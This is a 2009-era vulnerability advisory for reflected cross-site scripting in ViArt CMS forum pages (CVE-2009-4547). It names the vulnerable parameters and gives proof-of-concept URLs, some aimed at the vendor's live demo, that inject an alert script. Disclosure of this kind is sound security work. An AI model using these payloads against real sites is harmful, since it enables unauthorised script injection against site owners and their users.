ViArt CMS Remote XSS Vulnerabilities

2010.01.06

Credit: Moudi

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-4547

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

ViArt CMS Remote XSS Vulnerabilities

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.viart.com/cms/

Greetings : Mizoz, Zuka, str0ke, 599eme Man.

*/

[+] Exploit XSS:

- Vulnerable code in forum.php (forum_id).
- Vulnerable code in forums.php (category_id).
- Vulnerable code in forum_topic_new.php (forum_id).

- Poc:
  http://127.0.0.1/forum.php?forum_id=[XSS]
  http://127.0.0.1/forums.php?category_id=[XSS]
  http://127.0.0.1/forum_topic_new.php?forum_id=[XSS]
  http://www.viart.com/cms-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt>
  http://www.viart.com/cms-demo/forums.php?category_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt>
  http://www.viart.com/cms-demo/forum_topic_new.php?forum_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt>

References:

http://xforce.iss.net/xforce/xfdb/52371

http://www.securityfocus.com/bid/36003

http://secunia.com/advisories/36241

http://packetstormsecurity.org/0908-exploits/viartcms-xss.txt

http://osvdb.org/56885

http://osvdb.org/56884

http://osvdb.org/56883

See this note in RAW Version

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ViArt CMS Remote XSS Vulnerabilities

References:

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